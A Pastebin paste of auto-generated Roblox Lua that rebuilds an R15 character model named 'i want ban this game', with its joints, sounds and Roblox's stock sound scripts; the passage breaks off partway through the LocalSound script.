Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Thanks for using Mod2S by NopeUsername
- local functions = {}
- function sandbox(script, func)
- local oldEnv = getfenv(func)
- local newEnv = setmetatable({}, {
- __index = function(self,k)
- if k == "script" then
- return script
- else
- return oldEnv[k]
- end
- end,
- })
- return setfenv(func, newEnv)
- end
- local mas = Instance.new("Model", game:GetService("Lighting"))
- -- DECLARING VARIABLES
- local iwantbanthisgame = Instance.new("Model")
- local HumanoidRootPart = Instance.new("Part")
- local OriginalSize = Instance.new("Vector3Value")
- local LeftLowerArm = Instance.new("MeshPart")
- local OriginalSize_1 = Instance.new("Vector3Value")
- local LeftElbow = Instance.new("Motor6D")
- local LeftUpperArm = Instance.new("MeshPart")
- local OriginalSize_2 = Instance.new("Vector3Value")
- local LeftShoulder = Instance.new("Motor6D")
- local BodyColors = Instance.new("BodyColors")
- local RightLowerArm = Instance.new("MeshPart")
- local OriginalSize_3 = Instance.new("Vector3Value")
- local RightElbow = Instance.new("Motor6D")
- local RightUpperArm = Instance.new("MeshPart")
- local OriginalSize_4 = Instance.new("Vector3Value")
- local RightUpperLeg = Instance.new("MeshPart")
- local OriginalSize_5 = Instance.new("Vector3Value")
- local RightHip = Instance.new("Motor6D")
- local RightHand = Instance.new("MeshPart")
- local OriginalSize_6 = Instance.new("Vector3Value")
- local RightWrist = Instance.new("Motor6D")
- local LowerTorso = Instance.new("MeshPart")
- local OriginalSize_7 = Instance.new("Vector3Value")
- local Root = Instance.new("Motor6D")
- local LeftFoot = Instance.new("MeshPart")
- local OriginalSize_8 = Instance.new("Vector3Value")
- local LeftAnkle = Instance.new("Motor6D")
- local LeftLowerLeg = Instance.new("MeshPart")
- local OriginalSize_9 = Instance.new("Vector3Value")
- local LeftKnee = Instance.new("Motor6D")
- local LeftHand = Instance.new("MeshPart")
- local OriginalSize_10 = Instance.new("Vector3Value")
- local LeftWrist = Instance.new("Motor6D")
- local RightFoot = Instance.new("MeshPart")
- local OriginalSize_11 = Instance.new("Vector3Value")
- local RightAnkle = Instance.new("Motor6D")
- local RightLowerLeg = Instance.new("MeshPart")
- local OriginalSize_12 = Instance.new("Vector3Value")
- local RightKnee = Instance.new("Motor6D")
- local UpperTorso = Instance.new("MeshPart")
- local OriginalSize_13 = Instance.new("Vector3Value")
- local Waist = Instance.new("Motor6D")
- local Humanoid = Instance.new("Humanoid")
- local Animator = Instance.new("Animator")
- local BodyWidthScale = Instance.new("NumberValue")
- local BodyHeightScale = Instance.new("NumberValue")
- local BodyDepthScale = Instance.new("NumberValue")
- local HeadScale = Instance.new("NumberValue")
- local Status = Instance.new("Status")
- local Head = Instance.new("Part")
- local Mesh = Instance.new("SpecialMesh")
- local OriginalSize_14 = Instance.new("Vector3Value")
- local face = Instance.new("Decal")
- local OriginalSize_15 = Instance.new("Vector3Value")
- local Neck = Instance.new("Motor6D")
- local GettingUp = Instance.new("Sound")
- local Died = Instance.new("Sound")
- local FreeFalling = Instance.new("Sound")
- local Jumping = Instance.new("Sound")
- local Landing = Instance.new("Sound")
- local Splash = Instance.new("Sound")
- local Running = Instance.new("Sound")
- local Swimming = Instance.new("Sound")
- local Climbing = Instance.new("Sound")
- local HeadWeld = Instance.new("Weld")
- local Sound = Instance.new("Script")
- local LocalSound = Instance.new("LocalScript")
- local Animate = Instance.new("LocalScript")
- local climb = Instance.new("StringValue")
- local ClimbAnim = Instance.new("Animation")
- local fall = Instance.new("StringValue")
- local FallAnim = Instance.new("Animation")
- local idle = Instance.new("StringValue")
- local Animation1 = Instance.new("Animation")
- local Weight = Instance.new("NumberValue")
- local Animation2 = Instance.new("Animation")
- local Weight_1 = Instance.new("NumberValue")
- local jump = Instance.new("StringValue")
- local JumpAnim = Instance.new("Animation")
- local run = Instance.new("StringValue")
- local RunAnim = Instance.new("Animation")
- local sit = Instance.new("StringValue")
- local SitAnim = Instance.new("Animation")
- local toollunge = Instance.new("StringValue")
- local ToolLungeAnim = Instance.new("Animation")
- local walk = Instance.new("StringValue")
- local WalkAnim = Instance.new("Animation")
- local swimidle = Instance.new("StringValue")
- local SwimIdle = Instance.new("Animation")
- local swim = Instance.new("StringValue")
- local Swim = Instance.new("Animation")
- local toolslash = Instance.new("StringValue")
- local ToolSlashAnim = Instance.new("Animation")
- local toolnone = Instance.new("StringValue")
- local ToolNoneAnim = Instance.new("Animation")
- local wave = Instance.new("StringValue")
- local WaveAnim = Instance.new("Animation")
- local laugh = Instance.new("StringValue")
- local LaughAnim = Instance.new("Animation")
- local point = Instance.new("StringValue")
- local PointAnim = Instance.new("Animation")
- local cheer = Instance.new("StringValue")
- local CheerAnim = Instance.new("Animation")
- local dance = Instance.new("StringValue")
- local Animation1_1 = Instance.new("Animation")
- local Weight_2 = Instance.new("NumberValue")
- local Animation2_1 = Instance.new("Animation")
- local Weight_3 = Instance.new("NumberValue")
- local Animation3 = Instance.new("Animation")
- local Weight_4 = Instance.new("NumberValue")
- local dance2 = Instance.new("StringValue")
- local Animation1_2 = Instance.new("Animation")
- local Weight_5 = Instance.new("NumberValue")
- local Animation2_2 = Instance.new("Animation")
- local Weight_6 = Instance.new("NumberValue")
- local Animation3_1 = Instance.new("Animation")
- local Weight_7 = Instance.new("NumberValue")
- local dance3 = Instance.new("StringValue")
- local Animation1_3 = Instance.new("Animation")
- local Weight_8 = Instance.new("NumberValue")
- local Animation2_3 = Instance.new("Animation")
- local Weight_9 = Instance.new("NumberValue")
- local Animation3_2 = Instance.new("Animation")
- local Weight_10 = Instance.new("NumberValue")
- local Health = Instance.new("Script")
- local LeftUpperLeg = Instance.new("MeshPart")
- local OriginalSize_16 = Instance.new("Vector3Value")
- local LeftHip = Instance.new("Motor6D")
- local Pants = Instance.new("Pants")
- local ROBLOXCap = Instance.new("Hat")
- local Handle = Instance.new("Part")
- local Mesh_1 = Instance.new("SpecialMesh")
- local OriginalSize_17 = Instance.new("Vector3Value")
- local ThumbnailCamera = Instance.new("Camera")
- local Shirt = Instance.new("Shirt")
- local Script = Instance.new("Script")
- local Script_1 = Instance.new("Script")
- local Script_2 = Instance.new("Script")
- local Script_3 = Instance.new("Script")
- local Script_4 = Instance.new("Script")
- local Script_5 = Instance.new("Script")
- local Script_6 = Instance.new("Script")
- local Script_7 = Instance.new("Script")
- local Script_8 = Instance.new("Script")
- local Script_9 = Instance.new("Script")
- local Script_10 = Instance.new("Script")
- local Script_11 = Instance.new("Script")
- local Handle_1 = Instance.new("Part")
- local Mesh_2 = Instance.new("SpecialMesh")
- local Decal = Instance.new("Decal")
- -- SETTING PROPERTIES
- iwantbanthisgame.PrimaryPart = HumanoidRootPart
- iwantbanthisgame.Name = "i want ban this game"
- iwantbanthisgame.Parent = mas
- HumanoidRootPart.Anchored = true
- HumanoidRootPart.CFrame = CFrame.new(-68.931,2.973,-14.726,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- HumanoidRootPart.Color = Color3.new(0.624,0.631,0.675)
- HumanoidRootPart.Size = Vector3.new(2,2,1)
- HumanoidRootPart.Transparency = 1
- HumanoidRootPart.Velocity = Vector3.new(0,0,0)
- HumanoidRootPart.Name = "HumanoidRootPart"
- HumanoidRootPart.Parent = iwantbanthisgame
- OriginalSize.Value = Vector3.new(2,2,1)
- OriginalSize.Name = "OriginalSize"
- OriginalSize.Parent = HumanoidRootPart
- LeftLowerArm.Anchored = true
- LeftLowerArm.CFrame = CFrame.new(-67.538,2.778,-14.662,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LeftLowerArm.CanCollide = false
- LeftLowerArm.Color = Color3.new(0.898,0.894,0.875)
- LeftLowerArm.Size = Vector3.new(0.812,1.161,0.902)
- LeftLowerArm.Velocity = Vector3.new(0,0,0)
- LeftLowerArm.Name = "LeftLowerArm"
- LeftLowerArm.Parent = iwantbanthisgame
- OriginalSize_1.Value = Vector3.new(0.812,1.161,0.902)
- OriginalSize_1.Name = "OriginalSize"
- OriginalSize_1.Parent = LeftLowerArm
- LeftElbow.C0 = CFrame.new(-0.355,-0.24,-0.075,1,0,0,0,1,0,0,0,1)
- LeftElbow.C1 = CFrame.new(-0.106,0.295,0.001,1,0,0,0,1,0,0,0,1)
- LeftElbow.Part0 = LeftUpperArm
- LeftElbow.Part1 = LeftLowerArm
- LeftElbow.Name = "LeftElbow"
- LeftElbow.Parent = LeftLowerArm
- LeftUpperArm.Anchored = true
- LeftUpperArm.CFrame = CFrame.new(-67.784,3.313,-14.749,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LeftUpperArm.CanCollide = false
- LeftUpperArm.Color = Color3.new(0.898,0.894,0.875)
- LeftUpperArm.Size = Vector3.new(0.935,1.213,0.759)
- LeftUpperArm.Velocity = Vector3.new(0,0,0)
- LeftUpperArm.Name = "LeftUpperArm"
- LeftUpperArm.Parent = iwantbanthisgame
- OriginalSize_2.Value = Vector3.new(0.935,1.213,0.759)
- OriginalSize_2.Name = "OriginalSize"
- OriginalSize_2.Parent = LeftUpperArm
- LeftShoulder.C0 = CFrame.new(-1.25,0.45,0.019,1,0,0,0,1,0,0,0,1)
- LeftShoulder.C1 = CFrame.new(-0.106,0.41,-0.075,1,0,0,0,1,0,0,0,1)
- LeftShoulder.Part0 = UpperTorso
- LeftShoulder.Part1 = LeftUpperArm
- LeftShoulder.Name = "LeftShoulder"
- LeftShoulder.Parent = LeftUpperArm
- BodyColors.HeadColor = BrickColor.new("Light stone grey")
- BodyColors.HeadColor3 = Color3.new(0.898,0.894,0.875)
- BodyColors.LeftArmColor = BrickColor.new("Light stone grey")
- BodyColors.LeftArmColor3 = Color3.new(0.898,0.894,0.875)
- BodyColors.LeftLegColor = BrickColor.new("Medium blue")
- BodyColors.LeftLegColor3 = Color3.new(0.431,0.6,0.792)
- BodyColors.RightArmColor = BrickColor.new("Light stone grey")
- BodyColors.RightArmColor3 = Color3.new(0.898,0.894,0.875)
- BodyColors.RightLegColor = BrickColor.new("Medium blue")
- BodyColors.RightLegColor3 = Color3.new(0.431,0.6,0.792)
- BodyColors.TorsoColor = BrickColor.new("Bright red")
- BodyColors.TorsoColor3 = Color3.new(0.769,0.157,0.11)
- BodyColors.Parent = iwantbanthisgame
- RightLowerArm.Anchored = true
- RightLowerArm.CFrame = CFrame.new(-70.323,3.346,-14.052,-0.999,0,0.045,-0.044,0.244,-0.969,-0.011,-0.97,-0.244)
- RightLowerArm.CanCollide = false
- RightLowerArm.Color = Color3.new(0.898,0.894,0.875)
- RightLowerArm.Size = Vector3.new(0.812,1.161,0.902)
- RightLowerArm.Velocity = Vector3.new(0,0,0)
- RightLowerArm.Name = "RightLowerArm"
- RightLowerArm.Parent = iwantbanthisgame
- OriginalSize_3.Value = Vector3.new(0.812,1.161,0.902)
- OriginalSize_3.Name = "OriginalSize"
- OriginalSize_3.Parent = RightLowerArm
- RightElbow.C0 = CFrame.new(0.356,-0.24,-0.075,1,0,0,0,1,0,0,0,1)
- RightElbow.C1 = CFrame.new(0.106,0.295,0.001,1,0,0,0,1,0,0,0,1)
- RightElbow.Part0 = RightUpperArm
- RightElbow.Part1 = RightLowerArm
- RightElbow.Name = "RightElbow"
- RightElbow.Parent = RightLowerArm
- RightUpperArm.Anchored = true
- RightUpperArm.CFrame = CFrame.new(-70.07,3.414,-14.586,-0.999,0,0.045,-0.044,0.244,-0.969,-0.011,-0.97,-0.244)
- RightUpperArm.CanCollide = false
- RightUpperArm.Color = Color3.new(0.898,0.894,0.875)
- RightUpperArm.Size = Vector3.new(0.935,1.213,0.759)
- RightUpperArm.Velocity = Vector3.new(0,0,0)
- RightUpperArm.Name = "RightUpperArm"
- RightUpperArm.Parent = iwantbanthisgame
- OriginalSize_4.Value = Vector3.new(0.935,1.213,0.759)
- OriginalSize_4.Name = "OriginalSize"
- OriginalSize_4.Parent = RightUpperArm
- RightUpperLeg.Anchored = true
- RightUpperLeg.CFrame = CFrame.new(-69.32,1.562,-14.754,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- RightUpperLeg.CanCollide = false
- RightUpperLeg.Color = Color3.new(0.431,0.6,0.792)
- RightUpperLeg.Size = Vector3.new(0.781,1.742,0.854)
- RightUpperLeg.Velocity = Vector3.new(0,0,0)
- RightUpperLeg.Name = "RightUpperLeg"
- RightUpperLeg.Parent = iwantbanthisgame
- OriginalSize_5.Value = Vector3.new(0.781,1.742,0.854)
- OriginalSize_5.Name = "OriginalSize"
- OriginalSize_5.Parent = RightUpperLeg
- RightHip.C0 = CFrame.new(0.5,-0.353,-0.02,1,0,0,0,1,0,0,0,1)
- RightHip.C1 = CFrame.new(0.11,0.411,-0.01,1,0,0,0,1,0,0,0,1)
- RightHip.Part0 = LowerTorso
- RightHip.Part1 = RightUpperLeg
- RightHip.Name = "RightHip"
- RightHip.Parent = RightUpperLeg
- RightHand.Anchored = true
- RightHand.CFrame = CFrame.new(-70.45,3.492,-13.31,-0.999,0,0.045,-0.044,0.244,-0.969,-0.011,-0.97,-0.244)
- RightHand.CanCollide = false
- RightHand.Color = Color3.new(0.898,0.894,0.875)
- RightHand.Size = Vector3.new(0.753,0.891,0.773)
- RightHand.Velocity = Vector3.new(0,0,0)
- RightHand.Name = "RightHand"
- RightHand.Parent = iwantbanthisgame
- OriginalSize_6.Value = Vector3.new(0.753,0.891,0.773)
- OriginalSize_6.Name = "OriginalSize"
- OriginalSize_6.Parent = RightHand
- RightWrist.C0 = CFrame.new(0.106,-0.505,0.001,1,0,0,0,1,0,0,0,1)
- RightWrist.C1 = CFrame.new(-0.006,0.179,0.329,1,0,0,0,1,0,0,0,1)
- RightWrist.Part0 = RightLowerArm
- RightWrist.Part1 = RightHand
- RightWrist.Name = "RightWrist"
- RightWrist.Parent = RightHand
- LowerTorso.Anchored = true
- LowerTorso.CFrame = CFrame.new(-68.93,2.326,-14.746,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LowerTorso.Color = Color3.new(0.769,0.157,0.11)
- LowerTorso.Size = Vector3.new(1.672,0.632,1.037)
- LowerTorso.Velocity = Vector3.new(0,0,0)
- LowerTorso.Name = "LowerTorso"
- LowerTorso.Parent = iwantbanthisgame
- OriginalSize_7.Value = Vector3.new(1.672,0.632,1.037)
- OriginalSize_7.Name = "OriginalSize"
- OriginalSize_7.Parent = LowerTorso
- Root.C0 = CFrame.new(0,-0.65,0,1,0,0,0,1,0,0,0,1)
- Root.C1 = CFrame.new(0,-0.003,-0.02,1,0,0,0,1,0,0,0,1)
- Root.Part0 = HumanoidRootPart
- Root.Part1 = LowerTorso
- Root.Name = "Root"
- Root.Parent = LowerTorso
- LeftFoot.Anchored = true
- LeftFoot.CFrame = CFrame.new(-68.519,0.41,-14.523,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LeftFoot.CanCollide = false
- LeftFoot.Color = Color3.new(0.431,0.6,0.792)
- LeftFoot.Size = Vector3.new(0.721,0.82,1.243)
- LeftFoot.Velocity = Vector3.new(0,0,0)
- LeftFoot.Name = "LeftFoot"
- LeftFoot.Parent = iwantbanthisgame
- OriginalSize_8.Value = Vector3.new(0.721,0.82,1.243)
- OriginalSize_8.Name = "OriginalSize"
- OriginalSize_8.Parent = LeftFoot
- LeftAnkle.C0 = CFrame.new(-0.08,-0.583,-0.01,1,0,0,0,1,0,0,0,1)
- LeftAnkle.C1 = CFrame.new(-0.08,-0.237,0.184,1,0,0,0,1,0,0,0,1)
- LeftAnkle.Part0 = LeftLowerLeg
- LeftAnkle.Part1 = LeftFoot
- LeftAnkle.Name = "LeftAnkle"
- LeftAnkle.Parent = LeftFoot
- LeftLowerLeg.Anchored = true
- LeftLowerLeg.CFrame = CFrame.new(-68.511,0.756,-14.717,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LeftLowerLeg.CanCollide = false
- LeftLowerLeg.Color = Color3.new(0.431,0.6,0.792)
- LeftLowerLeg.Size = Vector3.new(0.721,1.263,0.854)
- LeftLowerLeg.Velocity = Vector3.new(0,0,0)
- LeftLowerLeg.Name = "LeftLowerLeg"
- LeftLowerLeg.Parent = iwantbanthisgame
- OriginalSize_9.Value = Vector3.new(0.721,1.263,0.854)
- OriginalSize_9.Name = "OriginalSize"
- OriginalSize_9.Parent = LeftLowerLeg
- LeftKnee.C0 = CFrame.new(-0.11,-0.389,-0.01,1,0,0,0,1,0,0,0,1)
- LeftKnee.C1 = CFrame.new(-0.08,0.417,-0.01,1,0,0,0,1,0,0,0,1)
- LeftKnee.Part0 = LeftUpperLeg
- LeftKnee.Part1 = LeftLowerLeg
- LeftKnee.Name = "LeftKnee"
- LeftKnee.Parent = LeftLowerLeg
- LeftHand.Anchored = true
- LeftHand.CFrame = CFrame.new(-67.441,2.094,-14.329,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- LeftHand.CanCollide = false
- LeftHand.Color = Color3.new(0.898,0.894,0.875)
- LeftHand.Size = Vector3.new(0.753,0.891,0.773)
- LeftHand.Velocity = Vector3.new(0,0,0)
- LeftHand.Name = "LeftHand"
- LeftHand.Parent = iwantbanthisgame
- OriginalSize_10.Value = Vector3.new(0.753,0.891,0.773)
- OriginalSize_10.Name = "OriginalSize"
- OriginalSize_10.Parent = LeftHand
- LeftWrist.C0 = CFrame.new(-0.106,-0.505,0.001,1,0,0,0,1,0,0,0,1)
- LeftWrist.C1 = CFrame.new(0.007,0.179,0.329,1,0,0,0,1,0,0,0,1)
- LeftWrist.Part0 = LeftLowerArm
- LeftWrist.Part1 = LeftHand
- LeftWrist.Name = "LeftWrist"
- LeftWrist.Parent = LeftHand
- RightFoot.Anchored = true
- RightFoot.CFrame = CFrame.new(-69.359,0.41,-14.561,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- RightFoot.CanCollide = false
- RightFoot.Color = Color3.new(0.431,0.6,0.792)
- RightFoot.Size = Vector3.new(0.721,0.82,1.243)
- RightFoot.Velocity = Vector3.new(0,0,0)
- RightFoot.Name = "RightFoot"
- RightFoot.Parent = iwantbanthisgame
- OriginalSize_11.Value = Vector3.new(0.721,0.82,1.243)
- OriginalSize_11.Name = "OriginalSize"
- OriginalSize_11.Parent = RightFoot
- RightAnkle.C0 = CFrame.new(0.08,-0.583,-0.01,1,0,0,0,1,0,0,0,1)
- RightAnkle.C1 = CFrame.new(0.08,-0.237,0.185,1,0,0,0,1,0,0,0,1)
- RightAnkle.Part0 = RightLowerLeg
- RightAnkle.Part1 = RightFoot
- RightAnkle.Name = "RightAnkle"
- RightAnkle.Parent = RightFoot
- RightLowerLeg.Anchored = true
- RightLowerLeg.CFrame = CFrame.new(-69.35,0.756,-14.755,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- RightLowerLeg.CanCollide = false
- RightLowerLeg.Color = Color3.new(0.431,0.6,0.792)
- RightLowerLeg.Size = Vector3.new(0.721,1.263,0.854)
- RightLowerLeg.Velocity = Vector3.new(0,0,0)
- RightLowerLeg.Name = "RightLowerLeg"
- RightLowerLeg.Parent = iwantbanthisgame
- OriginalSize_12.Value = Vector3.new(0.721,1.263,0.854)
- OriginalSize_12.Name = "OriginalSize"
- OriginalSize_12.Parent = RightLowerLeg
- RightKnee.C0 = CFrame.new(0.11,-0.389,-0.01,1,0,0,0,1,0,0,0,1)
- RightKnee.C1 = CFrame.new(0.08,0.417,-0.01,1,0,0,0,1,0,0,0,1)
- RightKnee.Part0 = RightUpperLeg
- RightKnee.Part1 = RightLowerLeg
- RightKnee.Name = "RightKnee"
- RightKnee.Parent = RightLowerLeg
- UpperTorso.Anchored = true
- UpperTorso.CFrame = CFrame.new(-68.932,3.273,-14.707,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- UpperTorso.Color = Color3.new(0.769,0.157,0.11)
- UpperTorso.Size = Vector3.new(1.839,2.351,1.073)
- UpperTorso.Velocity = Vector3.new(0,0,0)
- UpperTorso.Name = "UpperTorso"
- UpperTorso.Parent = iwantbanthisgame
- OriginalSize_13.Value = Vector3.new(1.839,2.351,1.073)
- OriginalSize_13.Name = "OriginalSize"
- OriginalSize_13.Parent = UpperTorso
- Waist.C0 = CFrame.new(0,0.397,-0.02,1,0,0,0,1,0,0,0,1)
- Waist.C1 = CFrame.new(0,-0.55,0.019,1,0,0,0,1,0,0,0,1)
- Waist.Part0 = LowerTorso
- Waist.Part1 = UpperTorso
- Waist.Name = "Waist"
- Waist.Parent = UpperTorso
- Humanoid.HipHeight = 1.973
- Humanoid.RigType = Enum.HumanoidRigType.R15
- Humanoid.Parent = iwantbanthisgame
- Animator.Parent = Humanoid
- BodyWidthScale.Value = 1
- BodyWidthScale.Name = "BodyWidthScale"
- BodyWidthScale.Parent = Humanoid
- BodyHeightScale.Value = 1
- BodyHeightScale.Name = "BodyHeightScale"
- BodyHeightScale.Parent = Humanoid
- BodyDepthScale.Value = 1
- BodyDepthScale.Name = "BodyDepthScale"
- BodyDepthScale.Parent = Humanoid
- HeadScale.Value = 1
- HeadScale.Name = "HeadScale"
- HeadScale.Parent = Humanoid
- Head.Anchored = true
- Head.BottomSurface = Enum.SurfaceType.Smooth
- Head.CFrame = CFrame.new(-68.931,4.473,-14.726,-0.999,0,0.045,0,1,0,-0.045,0,-0.999)
- Head.Color = Color3.new(0.898,0.894,0.875)
- Head.Size = Vector3.new(2,1,1)
- Head.TopSurface = Enum.SurfaceType.Smooth
- Head.Velocity = Vector3.new(0,0,0)
- Head.Name = "Head"
- Head.Parent = iwantbanthisgame
- Mesh.Scale = Vector3.new(1.25,1.25,1.25)
- Mesh.Parent = Head
- OriginalSize_14.Value = Vector3.new(1.25,1.25,1.25)
- OriginalSize_14.Name = "OriginalSize"
- OriginalSize_14.Parent = Mesh
- face.Texture = "rbxasset://textures/face.png"
- face.Name = "face"
- face.Parent = Head
- OriginalSize_15.Value = Vector3.new(2,1,1)
- OriginalSize_15.Name = "OriginalSize"
- OriginalSize_15.Parent = Head
- Neck.C0 = CFrame.new(0,0.7,0.019,1,0,0,0,1,0,0,0,1)
- Neck.C1 = CFrame.new(0,-0.5,0,1,0,0,0,1,0,0,0,1)
- Neck.Part0 = UpperTorso
- Neck.Part1 = Head
- Neck.Name = "Neck"
- Neck.Parent = Head
- GettingUp.EmitterSize = 5
- GettingUp.MaxDistance = 150
- GettingUp.SoundId = "rbxasset://sounds/action_get_up.mp3"
- GettingUp.Volume = 0.65
- GettingUp.Name = "GettingUp"
- GettingUp.Parent = Head
- Died.EmitterSize = 5
- Died.MaxDistance = 150
- Died.SoundId = "rbxasset://sounds/uuhhh.mp3"
- Died.Volume = 0.65
- Died.Name = "Died"
- Died.Parent = Head
- FreeFalling.EmitterSize = 5
- FreeFalling.Looped = true
- FreeFalling.MaxDistance = 150
- FreeFalling.SoundId = "rbxasset://sounds/action_falling.mp3"
- FreeFalling.Volume = 0.65
- FreeFalling.Name = "FreeFalling"
- FreeFalling.Parent = Head
- Jumping.EmitterSize = 5
- Jumping.MaxDistance = 150
- Jumping.SoundId = "rbxasset://sounds/action_jump.mp3"
- Jumping.Volume = 0.65
- Jumping.Name = "Jumping"
- Jumping.Parent = Head
- Landing.EmitterSize = 5
- Landing.MaxDistance = 150
- Landing.SoundId = "rbxasset://sounds/action_jump_land.mp3"
- Landing.Volume = 0.65
- Landing.Name = "Landing"
- Landing.Parent = Head
- Splash.EmitterSize = 5
- Splash.MaxDistance = 150
- Splash.SoundId = "rbxasset://sounds/impact_water.mp3"
- Splash.Volume = 0.65
- Splash.Name = "Splash"
- Splash.Parent = Head
- Running.EmitterSize = 5
- Running.Looped = true
- Running.MaxDistance = 150
- Running.PlaybackSpeed = 1.85
- Running.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
- Running.Volume = 0.65
- Running.Name = "Running"
- Running.Parent = Head
- Swimming.EmitterSize = 5
- Swimming.Looped = true
- Swimming.MaxDistance = 150
- Swimming.PlaybackSpeed = 1.6
- Swimming.SoundId = "rbxasset://sounds/action_swim.mp3"
- Swimming.Volume = 0.65
- Swimming.Name = "Swimming"
- Swimming.Parent = Head
- Climbing.EmitterSize = 5
- Climbing.Looped = true
- Climbing.MaxDistance = 150
- Climbing.SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3"
- Climbing.Volume = 0.65
- Climbing.Name = "Climbing"
- Climbing.Parent = Head
- HeadWeld.C0 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- HeadWeld.C1 = CFrame.new(0,-0.075,0.2,1,0,0,0,1,0,0,0,1)
- HeadWeld.Part0 = Head
- HeadWeld.Part1 = Handle
- HeadWeld.Name = "HeadWeld"
- HeadWeld.Parent = Head
- table.insert(functions,sandbox(Sound,function()
- --[[
- Author: @spotco
- This script creates sounds which are placed under the character head.
- These sounds are used by the "LocalSound" script.
- To modify this script, copy it to your "StarterPlayer/StarterCharacterScripts" folder keeping the same script name ("Sound").
- The default Sound script loaded for every character will then be replaced with your copy of the script.
- ]]--
- function CreateNewSound(name, id, looped, pitch, parent)
- local sound = Instance.new("Sound")
- sound.SoundId = id
- sound.Name = name
- sound.archivable = false
- sound.Parent = parent
- sound.Pitch = pitch
- sound.Looped = looped
- sound.MinDistance = 5
- sound.MaxDistance = 150
- sound.Volume = 0.65
- return sound
- end
- local head = script.Parent:FindFirstChild("Head")
- if head == nil then
- error("Sound script parent has no child Head.")
- return
- end
- CreateNewSound("GettingUp", "rbxasset://sounds/action_get_up.mp3", false, 1, head)
- CreateNewSound("Died", "rbxasset://sounds/uuhhh.mp3", false, 1, head)
- CreateNewSound("FreeFalling", "rbxasset://sounds/action_falling.mp3", true, 1, head)
- CreateNewSound("Jumping", "rbxasset://sounds/action_jump.mp3", false, 1, head)
- CreateNewSound("Landing", "rbxasset://sounds/action_jump_land.mp3", false, 1, head)
- CreateNewSound("Splash", "rbxasset://sounds/impact_water.mp3", false, 1, head)
- CreateNewSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1.85, head)
- CreateNewSound("Swimming", "rbxasset://sounds/action_swim.mp3", true, 1.6, head)
- CreateNewSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1, head)
- end))
- Sound.Name = "Sound"
- Sound.Parent = iwantbanthisgame
- table.insert(functions,sandbox(LocalSound,function()
- --[[
- Author: @spotco
- This script runs locally for the player of the given humanoid.
- This script triggers humanoid sound play/pause actions locally.
- The Playing/TimePosition properties of Sound objects bypass FilteringEnabled, so this triggers the sound
- immediately for the player and is replicated to all other players.
- This script is optimized to reduce network traffic through minimizing the amount of property replication.
- ]]--
- --All sounds are referenced by this ID
- local SFX = {
- Died = 0;
- Running = 1;
- Swimming = 2;
- Climbing = 3,
- Jumping = 4;
- GettingUp = 5;
- FreeFalling = 6;
- FallingDown = 7;
- Landing = 8;
- Splash = 9;
- }
- local Humanoid = nil
- local Head = nil
- --SFX ID to Sound object
- local Sounds = {}
- do
- local Figure = script.Parent.Parent
- Head = Figure:WaitForChild("Head")
- while not Humanoid do
- for _,NewHumanoid in pairs(Figure:GetChildren()) do
- if NewHumanoid:IsA("Humanoid") then
- Humanoid = NewHumanoid
- break
- end
- end
- Figure.ChildAdded:wait()
- end
- Sounds[SFX.Died] = Head:WaitForChild("Died")
- Sounds[SFX.Running] = Head:WaitForChild("Running")
- Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
- Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
- Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
- Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
- Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
- Sounds[SFX.Landing] = Head:WaitForChild("Landing")
- Sounds[SFX.Splash] = Head:WaitForChild("Splash")
- end
- local Util
- Util = {
- --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
- YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
- --(y - y1)/(x - x1) = m
- local m = (pt1y - pt2y) / (pt1x - pt2x)
- --float b = pt1.y - m * pt1.x;
- local b = (pt1y - m * pt1x)
- return m * x + b
- end;
- --Clamps the value of "val" between the "min" and "max"
- Clamp = function(val,min,max)
- return math.min(max,math.max(min,val))
- end;
- --Gets the horizontal (x,z) velocity magnitude of the given part
- HorizontalSpeed = function(Head)
- local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
- return hVel.magnitude
- end;
- --Gets the vertical (y) velocity magnitude of the given part
- VerticalSpeed = function(Head)
- return math.abs(Head.Velocity.Y)
- end;
- --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
- --If these properties are enabled, use them.
- Play = function(sound)
- if sound.TimePosition ~= 0 then
- sound.TimePosition = 0
- end
- if not sound.IsPlaying then
- sound.Playing = true
- end
- end;
- Pause = function(sound)
- if sound.IsPlaying then
- sound.Playing = false
- end
- end;
- Resume = function(sound)
- if not sound.IsPlaying then
- sound.Playing = true
- end
- end;
- Stop = function(sound)
- if sound.IsPlaying then
- sound.Playing = false
- end
- if sound.TimePosition ~= 0 then
- sound.TimePosition = 0
- end
- end;
- }
- do
- -- List of all active Looped sounds
- local playingLoopedSounds = {}
- -- Last seen Enum.HumanoidStateType
- local activeState = nil
- -- Verify and set that "sound" is in "playingLoopedSounds".
- function setSoundInPlayingLoopedSounds(sound)
- for i=1, #playingLoopedSounds do
- if playingLoopedSounds[i] == sound then
- return
- end
- end
- table.insert(playingLoopedSounds,sound)
- end
- -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
- function stopPlayingLoopedSoundsExcept(except)
- for i=#playingLoopedSounds,1,-1 do
- if playingLoopedSounds[i] ~= except then
- Util.Pause(playingLoopedSounds[i])
- table.remove(playingLoopedSounds,i)
- end
- end
- end
